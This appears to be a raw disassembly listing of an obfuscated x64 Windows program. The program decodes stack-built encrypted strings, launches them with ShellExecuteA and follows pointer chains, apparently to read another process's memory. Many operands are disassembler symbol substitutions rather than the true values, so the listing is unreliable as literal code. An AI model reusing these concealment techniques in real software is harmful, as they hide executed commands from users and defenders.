lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c16de
sub r10b, 0x70
movzx eax, r10b
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c16a5
sub r10b, 0x4c
movzx eax, r10b
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c16a2
lea edx, [r10 - 0x28]
mov ecx, recv
jmp 0x1400c1673
sub r10b, 4
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400c0c63
add r10b, 0x20
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400c0c63
lea edx, [r10 + 0x44]
mov ecx, reloc.WS2_32.dll_select
jmp 0x1400c1608
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400c12cb
lea edx, [r10 - 0x12]
movzx eax, dl
and al, bl
mov ecx, 0x3f
jmp 0x1400c1157
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1301
add r10b, 0xc
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0c63
inc rax
cmp r8, rax
jne 0x1400c1323
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x1400c16de
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1346
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x1400c1684
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1371
add r10b, 0x34
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x6c
dec rdi
inc rdi
jmp 0x1400c0c63
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c1163
add r10b, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x1400c0c63
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c13ba
lea edx, [r10 - 0x6e]
mov ecx, 1
jmp 0x1400c1608
inc rax
cmp r8, rax
jne 0x1400c13e3
add r10b, 0x4a
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 6
dec rdi
inc rdi
jmp 0x1400c0c63
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1407
add r10b, 2
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0xe
jmp 0x1400c16a2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c142b
sub r10b, 0x22
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x12
jmp 0x1400c16a5
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c1452
lea edx, [r10 - 0x46]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x1400c16de
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1116
add r10b, 0x72
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x1e
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0c63
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c14c5
add r10b, 0x18
movzx eax, bl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0c63
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c14ed
lea edx, [r10 + 0x64]
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c1684
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c151c
add r10b, 0x40
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
dec rdi
inc rdi
jmp 0x1400c0c63
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c10d7
lea edx, [r10 - 8]
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c1619
lea edx, [r10 - 0x50]
movzx eax, bl
and al, dl
movzx ecx, bl
sub cl, al
add cl, 0x18
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c1684
lea edx, [r10 - 0x74]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c16de
sub r10b, 0x52
movzx eax, r10b
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c16a5
add r10b, 0x1a
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400c0c63
add r10b, 0x3e
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400c0c63
lea edx, [r10 + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x1400c1608
movzx r10d, dil
lea edx, [r10 - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
sub r10b, 0x3e
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x4e
add bl, r10b
mov byte [rbp + rdi + 0x2a0], bl
inc r9
dec rdi
inc rdi
jmp 0x1400c0c63
lea edx, [rdi - 0xe]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400c0c63
movzx r10d, dil
lea edx, [r10 + 0x16]
mov ecx, 0x33
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
sub r10b, 0x62
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x52
add bl, r11b
add bl, r10b
mov byte [rbp + rdi + 0x2a0], bl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c0c63
lea rcx, [rdi + 0x80982]
and sil, cl
mov eax, reloc.WS2_32.dll_gethostname
sub al, sil
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx r10d, dil
add r10b, 0x7a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x56
add r10b, bl
movzx eax, r10b
mov byte [rbp + rdi + 0x2a0], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x68]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x2a0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0c63
lea rcx, [rdi + 0x371ca]
and sil, cl
mov eax, 0x3d
sub al, sil
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0c63
sub r10b, 0x5a
movzx eax, bl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400c0c60
sub r10b, 0x36
movzx eax, bl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400c0c52
lea r8, [rbp + 0x1457e88]
jmp 0x1400c17d5
lea r8, [rbp + 0x106a476]
jmp 0x1400c17d5
lea r8, [rbp + 0x2a0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [rbp + 0x5b0], 8
mov byte [rbp + 0x5b1], 5
mov byte [rbp + 0x5b2], 6
mov byte [rbp + 0x5b3], 3
mov byte [rbp + 0x5b4], 7
mov byte [rbp + 0x5b5], 0xff
mov byte [rbp + 0x5b6], 0xc9
mov byte [rbp + 0x5b7], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x5b8], 0xf9
mov byte [rbp + 0x5b9], Ordinal_45
mov byte [rbp + 0x5ba], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x5bb], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x5bc], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x5bd], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5be], 0x3d
mov byte [rbp + 0x5bf], 0xf1
mov byte [rbp + 0x5c0], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x5c1], 0x3e
mov byte [rbp + 0x5c2], 0x3f
mov byte [rbp + 0x5c3], 0xfc
mov byte [rbp + 0x5c4], gethostname
mov byte [rbp + 0x5c5], Ordinal_50
mov byte [rbp + 0x5c6], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5c7], gethostname
mov byte [rbp + 0x5c8], 0x3d
mov byte [rbp + 0x5c9], 0xe6
mov byte [rbp + 0x5ca], Ordinal_45
mov byte [rbp + 0x5cb], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x5cc], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x5cd], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5ce], Ordinal_45
mov byte [rbp + 0x5cf], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x5d0], Ordinal_41
mov byte [rbp + 0x5d1], 0xee
mov byte [rbp + 0x5d2], 0xe6
mov byte [rbp + 0x5d3], 0xe2
mov byte [rbp + 0x5d4], 0xe9
mov byte [rbp + 0x5d5], Ordinal_45
mov byte [rbp + 0x5d6], gethostname
mov byte [rbp + 0x5d7], Ordinal_30
mov byte [rbp + 0x5d8], 0x5d
mov byte [rbp + 0x5d9], 0x5b
mov byte [rbp + 0x5da], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x5db], 0x50
mov byte [rbp + 0x5dc], Ordinal_79
mov byte [rbp + 0x5dd], 0x64
mov byte [rbp + 0x5de], __WSAFDIsSet
mov byte [rbp + 0x5df], Ordinal_79
mov byte [rbp + 0x5e0], WSAGetLastError
mov byte [rbp + 0x5e1], 0x51
mov byte [rbp + 0x5e2], 0x43
mov byte [rbp + 0x5e3], 0x50
mov byte [rbp + 0x5e4], 0x57
mov byte [rbp + 0x5e5], 0x98
mov byte [rbp + 0x5e6], 0x5a
mov byte [rbp + 0x5e7], 0x5e
mov byte [rbp + 0x5e8], 0x5e
mov byte [rbp + 0x5e9], 0x5c
mov byte [rbp + 0x5ea], Ordinal_79
mov byte [rbp + 0x5eb], 0x42
mov byte [rbp + 0x5ec], 0x41
mov byte [rbp + 0x5ed], 0x58
mov byte [rbp + 0x5ee], 0x83
mov byte [rbp + 0x5ef], 0x43
mov byte [rbp + 0x5f0], Ordinal_79
mov byte [rbp + 0x5f1], 0x52
mov byte [rbp + 0x5f2], 0x57
mov byte [rbp + 0x5f3], Ordinal_79
mov byte [rbp + 0x5f4], 0x47
mov byte [rbp + 0x5f5], 0x50
mov byte [rbp + 0x5f6], Ordinal_143
mov byte [rbp + 0x5f7], 0xf7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5f8], xmm0
mov qword [rbp + 0x608], rax
mov word [rbp + 0x610], ax
mov byte [rbp + 0x612], al
movabs r15, 0xae52ebd6b16ee718
movabs r12, 0xc44472deda0851a8
movabs r14, 0xaf8c384144cb548
movzx r10d, byte [rsp + 0x31]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov rbx, r13
cmp rbx, 0x63
jae 0x1400c22bf
movzx r11d, byte [rbp + rbx + 0x5b0]
mov edx, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400c22b3
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c1a8b
lea rcx, [rbx + r15]
mov eax, edx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x58
jmp 0x1400c1ab8
je 0x1400c2241
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c21bd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c218c
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c2148
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400c22a7
lea rcx, [r9 + 9]
cmp r8, rcx
jae 0x1400c1aef
lea ecx, [rbx - 8]
movzx eax, cl
and al, r11b
mov r10d, Ordinal_30
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
jmp 0x1400c1b30
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c212b
inc rax
cmp r8, rax
je 0x1400c2108
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c20e3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c20c9
cmp r8, rcx
je 0x1400c2099
nop dword [rax + rax]
lea rdi, [r9 + r8]
cmp rdi, rbx
jbe 0x1400c1d1b
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c1cfe
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c1cd8
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c1cb3
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c1c99
lea r8, [r9 + 0x1000]
lea r9, [r8 + 8]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c2288
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c226e
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c1bf1
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c1b40
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x400]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c1c69
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c1c4f
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c1c30
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c1c0b
lea r8, [r9 + 1]
lea r9, [r8 + 0x7a]
jmp 0x1400c1b40
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x1400c1b30
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400c1a43
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c21a4
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x1400c21fd
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c1a43
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x1400c21fd
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400c1a43
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400c1a43
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
movzx edx, bl
jmp 0x1400c2160
lea rsi, [r9 + 1]
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400c1dda
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rcx, [r9 + 3]
cmp rdi, 0x400
je 0x1400c207d
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400c1ea7
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
cmp r8, 0x7a
jae 0x1400c203c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400c1f37
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x2a
jb 0x1400c202c
lea ecx, [rbx - 0x70]
movzx eax, cl
and al, r11b
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
movzx edx, bl
jmp 0x1400c2160
cmp r8, rsi
jne 0x1400c1e0f
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c1a43
lea rax, [rsi + 1]
cmp r8, rax
jne 0x1400c1e37
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c21fd
lea rcx, [r9 + 3]
cmp r8, rcx
jne 0x1400c1e5a
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x1400c21d4
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1e80
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x1400c21a4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c1d4a
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400c2054
cmp r8, rsi
jne 0x1400c1ec9
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movzx edx, bl
jmp 0x1400c2160
cmp r8, rcx
jne 0x1400c1ee8
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
jmp 0x1400c2054
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c1f10
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c21a1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1d79
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x1400c21d4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1f6b
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c1a43
inc rax
cmp r8, rax
jne 0x1400c1f92
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c21d4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1fb5
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x1400c21a4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c1fd7
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400c2051
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c1ffd
movzx ecx, bl
and cl, r11b
add cl, cl
movzx r10d, bl
sub r10b, cl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400c1a43
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c1dad
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx edx, bl
jmp 0x1400c2160
mov byte [rbp + rbx + 0x5b0], r10b
inc rbx
jmp 0x1400c1a43
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
add r10b, r11b
movzx edx, bl
sub dl, 0x28
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x5b0], cl
jmp 0x1400c21a1
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400c21d4
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c1a43
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
jmp 0x1400c21a1
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400c1a43
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
inc r9
dec rbx
inc rbx
jmp 0x1400c1a43
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
movzx edx, bl
jmp 0x1400c2160
movzx edx, bl
lea ecx, [rdx - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
sub dl, 0x58
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x5b0], cl
inc r9
dec rbx
inc rbx
jmp 0x1400c1a43
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c1a43
lea rcx, [rbx + r12]
and dl, cl
mov eax, 0x34
sub al, dl
lea r10d, [rax + rax]
add r10b, r11b
add r10b, cl
movzx ecx, bl
add cl, 8
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x38
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x5b0], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x5b0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c1a43
lea rcx, [rbx + r14]
and dl, cl
mov eax, 4
sub al, dl
lea r10d, [rax + rax]
add r10b, r11b
add r10b, cl
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c1a43
add bl, 0x78
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x48
jmp 0x1400c1a40
add bl, 0x48
movzx eax, bl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400c1a30
lea r8, [rbp + 0x14349d0]
jmp 0x1400c22c6
lea r8, [rbp + 0x7230e8]
jmp 0x1400c22c6
lea r8, [rbp + 0x5b0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movzx ebx, byte [rsp + 0x31]
mov rcx, qword [0x14022be00]
mov rax, qword [0x14022be08]
test rcx, rcx
je 0x1400c2302
test rax, rax
jne 0x1400c24a7
lea rax, [rbp + 0x20]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x40]
mov rcx, qword [0x14022c218]
call fcn.140111800
nop
mov rcx, rax
call fcn.140001bc0
mov rdi, rax
movzx edx, bl
lea rcx, [rbp + 0x20]
call fcn.1400029f0
nop
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x1400c2340
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.140004460
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.1400b3550
mov rcx, rax
call fcn.140001bc0
lea r8, [rbp + 0x928]
lea rdx, [0x1401ba174]
mov rcx, rax
call fcn.1400065e0
mov rdi, qword [rbp + 0x928]
lea rcx, [rbp + 0xc0]
call fcn.140002820
nop
lea rcx, [rbp + 0x40]
call fcn.140002820
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x930]
lea r8, [rdi + 0x10]
xor edx, edx
mov rcx, qword [0x14022c218]
call fcn.1401127d0
mov rax, qword [rbp + 0x930]
mov qword [0x14022be08], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x920]
lea r8, [rdi + 0x10]
xor edx, edx
mov rcx, qword [0x14022c218]
call fcn.1401127d0
mov r8, qword [rbp + 0x920]
add r8, 0x7d8
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x918]
xor edx, edx
mov rcx, qword [0x14022c218]
call fcn.1401127d0
mov r8, qword [rbp + 0x918]
add r8, qword [0x140225cc8]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x910]
xor edx, edx
mov rcx, qword [0x14022c218]
call fcn.1401127d0
mov rcx, qword [rbp + 0x910]
mov qword [0x14022be00], rcx
cmp rcx, 0x10000
jbe 0x1400c248e
mov rax, qword [0x14022be08]
cmp rax, 0x10000
ja 0x1400c22f0
mov rcx, r13
mov qword [0x14022be00], rcx
mov rax, r13
mov qword [0x14022be08], rax
jmp 0x1400c22f0
mov rcx, qword [0x14022be98]
call fcn.1400a5430
mov rcx, qword [0x14022be90]
call fcn.14006be80
mov byte [rbp + 0x268], Ordinal_45
mov byte [rbp + 0x269], 4
mov byte [rbp + 0x26a], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x26b], gethostname
mov byte [rbp + 0x26c], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x26d], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x26e], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x26f], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x270], Ordinal_30
mov byte [rbp + 0x271], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x272], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x273], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x274], WSASetLastError
mov byte [rbp + 0x275], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x276], Ordinal_30
mov byte [rbp + 0x277], reloc.WLDAP32.dll_Ordinal_46
